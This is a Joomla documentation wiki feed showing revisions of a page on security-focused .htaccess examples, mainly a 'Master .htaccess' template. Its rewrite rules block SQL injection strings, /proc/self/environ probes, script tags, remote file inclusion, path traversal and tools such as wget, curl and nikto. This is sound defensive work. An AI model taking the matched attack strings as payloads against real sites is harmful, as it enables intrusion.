Joomla! Documentation - User contributions [en]

Htaccess examples (security)

2013-10-09T15:41:56Z

Phild: /* External links */ removed dead external links and updated other external links as necessary

{{DISPLAYTITLE:htaccess examples (security)}}__TOC__
''Credit for this .htaccess file goes to Ronald van den Heetkamp, Nicholas Dionysopoulos, g1smd, and others where listed''

== Suggested Master htaccess file ==

This can be discussed in [http://forum.joomla.org/viewtopic.php?f=432&t=549841&start=330#p2555002 this forum topic]

'''Warning: Read the hashed areas! Incorrect settings on some servers may cause 500 page errors. The only way to figure out which rule(s) or section(s) are causing the errors is by trial and error.'''

This .htaccess file is not meant to be just dropped in your site. You should go through all sections and modify the file to match your site. Most notably, all instances of example.com and example\.com should be replaced with your real domain name. Some sections may cause problems with legitimate requests.

You are ultimately responsible for disabling sections or writing exception rules for legitimate requests that fail. Most notably, the advanced server protection section will cause issues with several minifiers, eXtplorer, VirtueMart and other extensions which use non-standard scripts as their entry points. You must add exceptions manually to the proper area of the file.

<source lang="apache">
###############################################################################
## The Master .htaccess
##
## Version 2.5 (proposed) - May 16th, 2011
##
## ----------
## This file is designed to be the template .htaccess file to put on your new
## sites, increasing your site's security and performance. It is not meant to
## be just dropped in your site, though. You should go through all of its
## sections and modify it to match your site. Most notably, all instances of
## example.com and example\.com should be replaced with your real domain name.
##
## Some sections are too picky and may cause problems with legitimate requests.
## You are ultimately responsible for disabling them or writing exception rules
## for your requests. Most notably, the advanced server protection section will
## cause issues with several minifiers, eXtplorer, VirtueMart and other exten-
## sions which use non-standard scripts as their entry points. You must add
## exceptions for them manually.
##
## Some sections - depending on your server configuration - may cause your site
## to throw 500 Internal Server Error. The only way to figure out which one is
## causing it is trial and error.
##
## Big thank you's to Brian Teeman, Ken Crowder, Radek Suski and Fotis
## Evangelou for sharing their .htaccess rules with the world and inspiring
## the creation of this file. Special thanks to Jon Brown for sharing his
## research and helping me improve this file.
##
## Additional thank-yous to John for his remarks and g1smd for taking the
## time to optimize the speed of the file.
##
## It is usually prudent to remove the comments from the file when using it
## on a live host to minimize the parsing time.
##
## ----------------------------------------------------------------------
## Do you want to customize this .htaccess file with a few clicks?
## Admin Tools Professional by AkeebaBackup.com does this and much more.
##
## Learn more: http://www.akeebabackup.com/software/admin-tools.html
## ----------------------------------------------------------------------
##
## Have fun, stay safe.
##
## Nicholas K. Dionysopoulos
## Lead Developer, AkeebaBackup.com
##
## CHANGELOG:
## Version 2.5 (proposed) (May 16th, 2011)
## - Placeholders for custom code. Correction of ruleset ordering.
## Version 2.4 (April 18th, 2011)
## - Dozens of speed optimisations and many logic and syntax corrections.
## Version 2.3 (November 18th, 2010)
## - Added .ico to the pass-through rules, for favicons to load
## Version 2.2 (October 25th, 2010)
## - Bug in the tmpl=component rule
## Version 2.1 (October 19th, 2010)
## - index.php to root redirection would kill some AJAX requests
## - Referer filtering was screwed up
## - Simplified and more thorough PHP Easter Egg code (thanks Jon!)
## - The tp/template/tmpl filter was not thorough and killed some components
## - Optimized Joomla! core SEF section
## - Bot filters and GZip optimization would never run for dynamic content
## - Content expiration optimization got more optimized
## - Added ETag rule
##
###############################################################################

########## Begin - RewriteEngine enabled
RewriteEngine On
########## End - RewriteEngine enabled

########## Begin - RewriteBase
# Uncomment following line if your webserver's URL
# is not directly related to physical file paths.
# Update Your Joomla! Directory (just / for root)

# RewriteBase /
########## End - RewriteBase

########## Begin - No directory listings
## Note: +FollowSymlinks may cause problems and you might have to remove it
IndexIgnore *
Options +FollowSymLinks All -Indexes
########## End - No directory listings

########## Begin - File execution order, by Komra.de
DirectoryIndex index.php index.html
########## End - File execution order

########## Begin - ETag Optimization
## This rule will create an ETag for files based only on the modification
## timestamp and their size. This works wonders if you are using rsync'ed
## servers, where the inode number of identical files differs.
## Note: It may cause problems on your server and you may need to remove it
FileETag MTime Size
########## End - ETag Optimization

########## Begin - Common hacking tools and bandwidth hoggers block
## By SigSiu.net and @nikosdion.
# This line also disables Akeeba Remote Control 2.5 and earlier
SetEnvIf user-agent "Indy Library" stayout=1
# WARNING: Disabling wget will also block the most common method for
# running CRON jobs. Remove if you have issues with CRON jobs.
SetEnvIf user-agent "Wget" stayout=1
# The following rules are for bandwidth-hogging download tools
SetEnvIf user-agent "libwww-perl" stayout=1
SetEnvIf user-agent "Download Demon" stayout=1
SetEnvIf user-agent "GetRight" stayout=1
SetEnvIf user-agent "GetWeb!" stayout=1
SetEnvIf user-agent "Go!Zilla" stayout=1
SetEnvIf user-agent "Go-Ahead-Got-It" stayout=1
SetEnvIf user-agent "GrabNet" stayout=1
SetEnvIf user-agent "TurnitinBot" stayout=1
# This line denies access to all of the above tools
deny from env=stayout
########## End - Common hacking tools and bandwidth hoggers block

########## Begin - Automatic compression of resources
# Compress text, html, javascript, css, xml, kudos to Komra.de
# May kill access to your site for old versions of Internet Explorer
# The server needs to be compiled with mod_deflate otherwise it will send HTTP 500 Error.
# mod_deflate is not available on Apache 1.x series. Can only be used with Apache 2.x server.
# AddOutputFilterByType is now deprecated by Apache. Use mod_filter in the future.
AddOutputFilterByType DEFLATE text/plain text/html text/xml text/css application/xml application/xhtml+xml application/rss+xml application/javascript application/x-javascript
########## End - Automatic compression of resources

########## Begin - Add optional bad user agent or IP blocking code
#
# If you need to block certain user agents or IP addresses and
# other signatures, place that code here. Ensure the rules use
# the correct RewriteRule syntax and the [F] flag.
#
########## End - Add optional bad user agent or IP blocking code

########## Begin - Rewrite rules to block out some common exploits
## If you experience problems on your site block out the operations listed below
## This attempts to block the most common type of exploit `attempts` to Joomla!
#
# If the request query string contains /proc/self/environ (by SigSiu.net)
RewriteCond %{QUERY_STRING} proc/self/environ [OR]
# Block out any script trying to set a mosConfig value through the URL
# (these attacks wouldn't work w/out Joomla! 1.5's Legacy Mode plugin)
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
# Block out any script trying to base64_encode or base64_decode data within the URL
RewriteCond %{QUERY_STRING} base64_(en|de)code[^(]*$[^)]*$ [OR]
## IMPORTANT: If the above line throws an HTTP 500 error, replace it with these 2 lines:
# RewriteCond %{QUERY_STRING} base64_encode$.*$ [OR]
# RewriteCond %{QUERY_STRING} base64_decode$.*$ [OR]
# Block out any script that includes a <script> tag in URL
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
# Return 403 Forbidden header and show the content of the root homepage
RewriteRule .* index.php [F]
#
########## End - Rewrite rules to block out some common exploits

########## Begin - File injection protection, by SigSiu.net
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http:// [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=(\.\.//?)+ [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]//?)+ [NC]
RewriteRule .* - [F]
########## End - File injection protection

########## Begin - Basic antispam Filter, by SigSiu.net
## I removed some common words, tweak to your liking
## This code uses PCRE and works only with Apache 2.x.
## This code will NOT work with Apache 1.x servers.
RewriteCond %{QUERY_STRING} \b(ambien|blue\spill|cialis|cocaine|ejaculation|erectile)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(erections|hoodia|huronriveracres|impotence|levitra|libido)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(lipitor|phentermin|pro[sz]ac|sandyauer|tramadol|troyhamby)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(ultram|unicauca|valium|viagra|vicodin|xanax|ypxaieo)\b [NC]
## Note: The final RewriteCond must NOT use the [OR] flag.
RewriteRule .* - [F]
## Note: The previous lines are a "compressed" version
## of the filters. You can add your own filters as:
## RewriteCond %{QUERY_STRING} \bbadword\b [NC,OR]
## where "badword" is the word you want to exclude.
########## End - Basic antispam Filter, by SigSiu.net

########## Begin - Advanced server protection - query strings, referrer and config
# Advanced server protection, version 3.2 - May 2011
# by Nicholas K. Dionysopoulos

## Disallow PHP Easter Eggs (can be used in fingerprinting attacks to determine
## your PHP version). See http://www.0php.com/php_easter_egg.php and
## http://osvdb.org/12184 for more information
RewriteCond %{QUERY_STRING} \=PHP[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} [NC]
RewriteRule .* - [F]

## SQLi first line of defense, thanks to Radek Suski (SigSiu.net) @
## http://www.sigsiu.net/presentations/fortifying_your_joomla_website.html
## May cause problems on legitimate requests
RewriteCond %{QUERY_STRING} concat[^\(]*\( [NC,OR]
RewriteCond %{QUERY_STRING} union([^s]*s)+elect [NC,OR]
RewriteCond %{QUERY_STRING} union([^a]*a)+ll([^s]*s)+elect [NC]
RewriteRule .* - [F]

## Referrer filtering for common media files. Replace with your own domain name.
## This blocks most common fingerprinting attacks ;)
## Note: Change www\.example\.com with your own domain name, substituting the
## dots with \. i.e. use www\.example\.com for www.example.com
RewriteRule ^images/stories/([^/]+/)*([^/.]+\.)+(jp(e?g|2)?|png|gif|bmp|css|js|swf|ico)$ - [L]
RewriteCond %{HTTP_REFERER} .
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?example\.com [NC]
RewriteCond %{REQUEST_FILENAME} -f
RewriteRule \.(jp(e?g|2)?|png|gif|bmp|css|js|swf|ico)$ - [F]

## Disallow visual fingerprinting of Joomla! sites (module position dump)
## Initial idea by Brian Teeman and Ken Crowder, see:
## http://www.slideshare.net/brianteeman/hidden-joomla-secrets
## Improved by @nikosdion to work more efficiently and handle template
## and tmpl query parameters
RewriteCond %{QUERY_STRING} (^|&)tmpl=(component|system) [NC]
RewriteRule .* - [L]
RewriteCond %{QUERY_STRING} (^|&)t(p|emplate|mpl)= [NC]
RewriteRule .* - [F]

## Disallow access to htaccess.txt, configuration.php, configuration.php-dist and php.ini
RewriteRule ^(htaccess\.txt|configuration\.php(-dist)?|php\.ini)$ - [F]

########## End - Advanced server protection - query strings, referrer and config

########## Begin - Advanced server protection rules exceptions ####
##
## These are sample exceptions to the Advanced Server Protection 3.1
## rule set further down this file.
##
## Allow UddeIM CAPTCHA
RewriteRule ^components/com_uddeim/captcha15\.php$ - [L]
## Allow Phil Taylor's Turbo Gears
RewriteRule ^plugins/system/GoogleGears/gears-manifest\.php$ - [L]
## Allow JoomlaWorks AllVideos
RewriteRule ^plugins/content/jw_allvideos/includes/jw_allvideos_scripts\.php$ - [L]
## Allow Admin Tools Joomla! updater to run
RewriteRule ^administrator/components/com_admintools/restore\.php$ - [L]
## Allow Akeeba Backup Professional's integrated restoration script to run
RewriteRule ^administrator/components/com_akeeba/restore\.php$ - [L]
## Allow Akeeba Kickstart
RewriteRule ^kickstart\.php$ - [L]

# Add more rules to single PHP files here

## Allow Agora attachments, but not PHP files in that directory!
RewriteCond %{REQUEST_FILENAME} !(\.php)$
RewriteCond %{REQUEST_FILENAME} -f
RewriteRule ^components/com_agora/img/members/ - [L]

# Add more rules for allowing full access (except PHP files) on more directories here

## Uncomment to allow full access to the cache directory (strongly not recommended!)
#RewriteRule ^cache/ - [L]
## Uncomment to allow full access to the tmp directory (strongly not recommended!)
#RewriteRule ^tmp/ - [L]

# Add more full access rules here

########## End - Advanced server protection rules exceptions ####

########## Begin - Advanced server protection - paths and files
# Advanced server protection, version 3.2 - May 2011
# by Nicholas K. Dionysopoulos

## Back-end protection
## This also blocks fingerprinting attacks browsing for XML and INI files
RewriteRule ^administrator/?$ - [L]
RewriteRule ^administrator/index\.(php|html?)$ - [L]
RewriteRule ^administrator/index[23]\.php$ - [L]
RewriteRule ^administrator/(components|modules|templates|images|plugins)/([^/]+/)*([^/.]+\.)+(jp(e?g|2)?|png|gif|bmp|css|js|swf|html?|mp(eg?|[34])|avi|wav|og[gv]|xlsx?|docx?|pptx?|zip|rar|pdf|xps|txt|7z|svg|od[tsp]|flv|mov)$ - [L]
RewriteRule ^administrator/ - [F]

## Explicitly allow access only to XML-RPC's xmlrpc/index.php or plain xmlrpc/ directory
RewriteRule ^xmlrpc/(index\.php)?$ - [L]
RewriteRule ^xmlrpc/ - [F]

## Disallow front-end access for certain Joomla! system directories
RewriteRule ^includes/js/ - [L]
RewriteRule ^(cache|includes|language|libraries|logs|tmp)/ - [F]

## Allow limited access for certain Joomla! system directories with client-accessible content
RewriteRule ^(components|modules|plugins|templates)/([^/]+/)*([^/.]+\.)+(jp(e?g|2)?|png|gif|bmp|css|js|swf|html?|mp(eg?|[34])|avi|wav|og[gv]|xlsx?|docx?|pptx?|zip|rar|pdf|xps|txt|7z|svg|od[tsp]|flv|mov)$ - [L]
## Uncomment this line if you have extensions which require direct access to their own
## custom index.php files. Note that this is UNSAFE and the developer should be ashamed
## for being so lame, lazy and security unconscious.
# RewriteRule ^(components|modules|plugins|templates)/([^/]+/)*(index\.php)?$ - [L]
## Uncomment the following line if your template requires direct access to PHP files
## inside its directory, e.g. GZip compressed copies of its CSS files
# RewriteRule ^templates/([^/]+/)*([^/.]+\.)+php$ - [L]
RewriteRule ^(components|modules|plugins|templates)/ - [F]

## Disallow access to rogue PHP files throughout the site, unless they are explicitly allowed
RewriteCond %{REQUEST_FILENAME} \.php$
RewriteCond %{REQUEST_FILENAME} !/index[23]?\.php$
## The next line is to explicitly allow the forum post assistant(fpa-xx)script to run
RewriteCond %{REQUEST_FILENAME} !/fpa-[a-z]{2}\.php
RewriteCond %{REQUEST_FILENAME} -f
RewriteRule ^([^/]+/)*([^/.]+\.)+php$ - [F]

########## End - Advanced server protection - paths and files

########## Begin - Google Apps redirection, by Komra.de
## Uncomment the following line to enable:
# RewriteRule ^mail http://mail.google.com/a/example.com [R=301,L]
## If the above doesn't work on your server, try this:
## RewriteRule ^mail http://mail.google.com/a/example.com [R,L]
########## End - Google Apps redirection

########## Begin - Custom redirects
#
# If you need to redirect some pages, place that code here. Ensure those
# redirects use the correct RewriteRule syntax and the [R=301,L] flags.
#
########## End - Custom redirects

########## Begin - Redirect (www.)olddomain.com to www.example.com
## Note: olddomain.com is your old domain name, you want to redirect FROM,
## whereas www.example.com is the new domain name you want to redirect TO.
## Change those names to reflect your current configuration. Remember, this
## small part of the file is supposed to be placed in www.olddomain.com!
## Note: Replace [R=301,L] with [R,L] if you get error 500.
## Uncomment the following lines to enable:
# RewriteCond %{HTTP_HOST} ^(www\.)?olddomain\.com [NC]
# RewriteRule (.*) http://www.example.com/$1 [R=301,L]
## Note: The above section is only required if you are changing your domain name.
########## End - Redirect (www.)olddomain.com to www.example.com

########## Begin - Force HTTPS for certain pages
# Force the page foobar.html to run in HTTPS mode, no matter what Joomla! says.
# This is a sample redirection for foobar.html. Do note that you have to change
# www.example.com to reflect your own domain. Remember to escape the dots using
# \. in the left hand side of each rule. You need BOTH LINES PER URL for the rule
# to work.
RewriteCond %{SERVER_PORT} !^443$
## Alternatively, comment the above line and uncomment the following line:
# RewriteCond %{HTTPS} ^off$ [NC]
RewriteRule ^foobar\.html$ https://www.example.com/foobar.html [R=301,L]
## NOTE: If you get an HTTP 500 error, please swap [R=301,L] with [R,L]
# Add more rules below this line as required
########## End - Force HTTPS for certain pages

########## Begin - Redirect index.php to /
## Note: Change example.com to reflect your own domain name
RewriteCond %{THE_REQUEST} !^POST
RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php\ HTTP/
RewriteCond %{SERVER_PORT}>s ^(443>(s)|[0-9]+>s)$
RewriteRule ^index\.php$ http%2://www.example.com/$1 [R=301,L]
## If the above line throws a 500 error, change [R=301,L] to [R,L]
########## End - Redirect index.php to /

########## Begin - Redirect non-www to www
RewriteCond %{HTTP_HOST} !^www\. [NC]
RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]
## If the above throws an HTTP 500 error, swap [R=301,L] with [R,L]
########## End - Redirect non-www to www

########## Begin - Redirect www to non-www
## WARNING: Comment out the non-www to www rule if you choose to use this
# RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]
# RewriteRule ^(.*)$ http://%1/$1 [R=301,L]
## If the above throws an HTTP 500 error, swap [R=301,L] with [R,L]
########## End - Redirect non-www to www

########## Begin - Custom internal rewrites
#
# If you need to internally rewrite some specific URL requests,
# place that code here. Ensure those internal rewrites use the
# correct RewriteRule syntax without domain name and with [L] flag.
#
########## End - Custom internal rewrites

########## Begin - Joomla! core SEF Section
#
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
#
# If the requested path and file is not /index.php and the request
# has not already been internally rewritten to the index.php script
RewriteCond %{REQUEST_URI} !^/index\.php
# and the request is for the site root, or for an extensionless URL,
# or the requested URL ends with one of the listed extensions
RewriteCond %{REQUEST_URI} /component/|(/[^.]*|\.(php|html?|feed|pdf|vcf|raw|ini|zip|json|file))$ [NC]
# and the requested path and file doesn't directly match a physical file
RewriteCond %{REQUEST_FILENAME} !-f
# and the requested path doesn't directly match a physical folder
RewriteCond %{REQUEST_FILENAME} !-d
# internally rewrite the request to the index.php script
RewriteRule .* index.php [L]
#
########## End - Joomla! core SEF Section

########## Begin - Optimal default expiration time
## Note: this might cause problems and you might have to comment it out by
## placing a hash in front of this section's lines
<IfModule mod_expires.c>
# Enable expiration control
ExpiresActive On

# Default expiration: 1 hour after request
ExpiresDefault "now plus 1 hour"

# CSS and JS expiration: 1 week after request
ExpiresByType text/css "now plus 1 week"
ExpiresByType application/javascript "now plus 1 week"
ExpiresByType application/x-javascript "now plus 1 week"

# Image files expiration: 1 month after request
ExpiresByType image/bmp "now plus 1 month"
ExpiresByType image/gif "now plus 1 month"
ExpiresByType image/jpeg "now plus 1 month"
ExpiresByType image/jp2 "now plus 1 month"
ExpiresByType image/pipeg "now plus 1 month"
ExpiresByType image/png "now plus 1 month"
ExpiresByType image/svg+xml "now plus 1 month"
ExpiresByType image/tiff "now plus 1 month"
ExpiresByType image/vnd.microsoft.icon "now plus 1 month"
ExpiresByType image/x-icon "now plus 1 month"
ExpiresByType image/ico "now plus 1 month"
ExpiresByType image/icon "now plus 1 month"
ExpiresByType text/ico "now plus 1 month"
ExpiresByType application/ico "now plus 1 month"
ExpiresByType image/vnd.wap.wbmp "now plus 1 month"
ExpiresByType application/vnd.wap.wbxml "now plus 1 month"
ExpiresByType application/smil "now plus 1 month"

# Audio files expiration: 1 month after request
ExpiresByType audio/basic "now plus 1 month"
ExpiresByType audio/mid "now plus 1 month"
ExpiresByType audio/midi "now plus 1 month"
ExpiresByType audio/mpeg "now plus 1 month"
ExpiresByType audio/x-aiff "now plus 1 month"
ExpiresByType audio/x-mpegurl "now plus 1 month"
ExpiresByType audio/x-pn-realaudio "now plus 1 month"
ExpiresByType audio/x-wav "now plus 1 month"

# Movie files expiration: 1 month after request
ExpiresByType application/x-shockwave-flash "now plus 1 month"
ExpiresByType x-world/x-vrml "now plus 1 month"
ExpiresByType video/x-msvideo "now plus 1 month"
ExpiresByType video/mpeg "now plus 1 month"
ExpiresByType video/mp4 "now plus 1 month"
ExpiresByType video/quicktime "now plus 1 month"
ExpiresByType video/x-la-asf "now plus 1 month"
ExpiresByType video/x-ms-asf "now plus 1 month"
</IfModule>
########## End - Optimal expiration time
</source>

If not using the suggested master htaccess file, the following suggestions will need RewriteEngine set to On, and will likely also need Options +FollowSymLinks too:

<source lang="apache">
# mod_rewrite in use
RewriteEngine On
Options +FollowSymLinks
</source>

== Other useful settings ==
<source lang="apache">
ServerSignature Off
RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST} (\\r|\\n|%0A|%0D) [NC,OR]

RewriteCond %{HTTP_REFERER} (<|>|’|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]
RewriteCond %{HTTP_COOKIE} (<|>|’|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]
RewriteCond %{REQUEST_URI} ^/(,|;|:|<|>|”>|”<|/|\\\.\.\\).{0,9999} [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (libwww-perl|curl|wget|python|nikto|scan) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (<|>|’|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]

#Block mySQL injects
RewriteCond %{QUERY_STRING} (;|<|>|’|”|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark) [NC,OR]

RewriteCond %{QUERY_STRING} \.\./\.\. [OR]

RewriteCond %{QUERY_STRING} (localhost|loopback|127\.0\.0\.1) [NC,OR]
RewriteCond %{QUERY_STRING} \.[a-z0-9] [NC,OR]
RewriteCond %{QUERY_STRING} (<|>|’|%0A|%0D|%27|%3C|%3E|%00) [NC]
# Note: The final RewriteCond must NOT use the [OR] flag.

# Return 403 Forbidden error.
RewriteRule .* index.php [F]
</source>

== Block bad user agents ==
<source lang="apache">
########## Block bad user agents
## The following list may include bots that no longer exist or are not a problem
## for your site. The list will always be incomplete and it is therefore wise to
## follow discussions on one of the many "security" mailing lists or on a forum
## such as http://www.webmasterworld.com/search_engine_spiders/
## It is also unwise to rely on this list as your ONLY security mechanism.
RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [OR]
RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:craftbot@yahoo.com [OR]
RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR]
RewriteCond %{HTTP_USER_AGENT} ^Custo [OR]
RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR]
RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [OR]
RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR]
RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailWolf [OR]
RewriteCond %{HTTP_USER_AGENT} ^Express\ WebPictures [OR]
RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [OR]
RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [OR]
RewriteCond %{HTTP_USER_AGENT} ^FlashGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetRight [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetWeb! [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go-Ahead-Got-It [OR]
RewriteCond %{HTTP_USER_AGENT} ^GrabNet [OR]
RewriteCond %{HTTP_USER_AGENT} ^Grafula [OR]
RewriteCond %{HTTP_USER_AGENT} ^HMView [OR]
RewriteCond %{HTTP_USER_AGENT} HTTrack [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^InterGET [OR]
RewriteCond %{HTTP_USER_AGENT} ^Internet\ Ninja [OR]
RewriteCond %{HTTP_USER_AGENT} ^JetCar [OR]
RewriteCond %{HTTP_USER_AGENT} ^JOC\ Web\ Spider [OR]
RewriteCond %{HTTP_USER_AGENT} ^larbin [OR]
RewriteCond %{HTTP_USER_AGENT} ^LeechFTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [OR]
RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [OR]
RewriteCond %{HTTP_USER_AGENT} ^Navroad [OR]
RewriteCond %{HTTP_USER_AGENT} ^NearSite [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetAnts [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Octopus [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [OR]
RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [OR]
RewriteCond %{HTTP_USER_AGENT} ^pavuk [OR]
RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [OR]
RewriteCond %{HTTP_USER_AGENT} ^RealDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^ReGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [OR]
RewriteCond %{HTTP_USER_AGENT} ^SmartDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Surfbot [OR]
RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [OR]
RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [OR]
RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebAuto [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebCopier [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebFetch [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebGo\ IS [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebLeacher [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebReaper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebSauger [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebStripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Widow [OR]
RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus
## Note: The final RewriteCond must NOT use the [OR] flag.

## Return 403 Forbidden error.
RewriteRule .* - [F]
</source>

== External links ==
[http://perishablepress.com/press/tag/htaccess/ .htaccess tag archive @ perishablepress.com]

https://github.com/nikosdion/master-htaccess Proposed "master htaccess" (by Nicholas v3.3) DO read the intro by Nicholas!]

[[Category:Security]]

The original file contained a number of syntax errors, several rules that would never work, and a number of expressions that could be more efficiently coded.

Primary discussion of bugs and enhancements discussed at: http://forum.joomla.org/viewtopic.php?f=432&t=549841

Secondary discussion was also at: http://snipt.net/g1smd/joomla-patch/

The new proposed file: http://code.google.com/p/joomla-master-htaccess/source/list and at: https://github.com/nikosdion/master-htaccess

The changes explained, line by line:

http://codereview.appspot.com/4312049/diff/1/joomla-master-htaccess.txt

http://codereview.appspot.com/4290071/diff/1/joomla-master-htaccess.txt

http://codereview.appspot.com/4290071/diff/8001/joomla-master-htaccess.txt

http://codereview.appspot.com/4370051/diff/3/joomla-master-htaccess.txt

http://codereview.appspot.com/4314051/diff/1001/joomla-master-htaccess.txt

http://codereview.appspot.com/4430062/diff/1/joomla-master-htaccess.txt

http://codereview.appspot.com/4528051/diff/1/joomla-master-htaccess.txt

Htaccess examples (security)

2013-07-15T17:32:11Z

Phild: Reordered page sections. Expanded warning note

{{DISPLAYTITLE:htaccess examples (security)}}__TOC__
''Credit for this .htaccess file goes to Ronald van den Heetkamp, Nicholas Dionysopoulos, g1smd, and others where listed''

== Suggested Master htaccess file ==

This can be discussed in [http://forum.joomla.org/viewtopic.php?f=432&t=549841&start=330#p2555002 this forum topic]

'''Warning: Read the hashed areas! Incorrect settings on some servers may cause 500 page errors. The only way to figure out which rule(s) or section(s) are causing the errors is by trial and error.'''

This .htaccess file is not meant to be just dropped in your site. You should go through all sections and modify the file to match your site. Most notably, all instances of example.com and example\.com should be replaced with your real domain name. Some sections may cause problems with legitimate requests.

You are ultimately responsible for disabling sections or writing exception rules for legitimate requests that fail. Most notably, the advanced server protection section will cause issues with several minifiers, eXtplorer, VirtueMart and other extensions which use non-standard scripts as their entry points. You must add exceptions manually to the proper area of the file.

<source lang="apache">
###############################################################################
## The Master .htaccess
##
## Version 2.5 (proposed) - May 16th, 2011
##
## ----------
## This file is designed to be the template .htaccess file to put on your new
## sites, increasing your site's security and performance. It is not meant to
## be just dropped in your site, though. You should go through all of its
## sections and modify it to match your site. Most notably, all instances of
## example.com and example\.com should be replaced with your real domain name.
##
## Some sections are too picky and may cause problems with legitimate requests.
## You are ultimately responsible for disabling them or writing exception rules
## for your requests. Most notably, the advanced server protection section will
## cause issues with several minifiers, eXtplorer, VirtueMart and other exten-
## sions which use non-standard scripts as their entry points. You must add
## exceptions for them manually.
##
## Some sections - depending on your server configuration - may cause your site
## to throw 500 Internal Server Error. The only way to figure out which one is
## causing it is trial and error.
##
## Big thank you's to Brian Teeman, Ken Crowder, Radek Suski and Fotis
## Evangelou for sharing their .htaccess rules with the world and inspiring
## the creation of this file. Special thanks to Jon Brown for sharing his
## research and helping me improve this file.
##
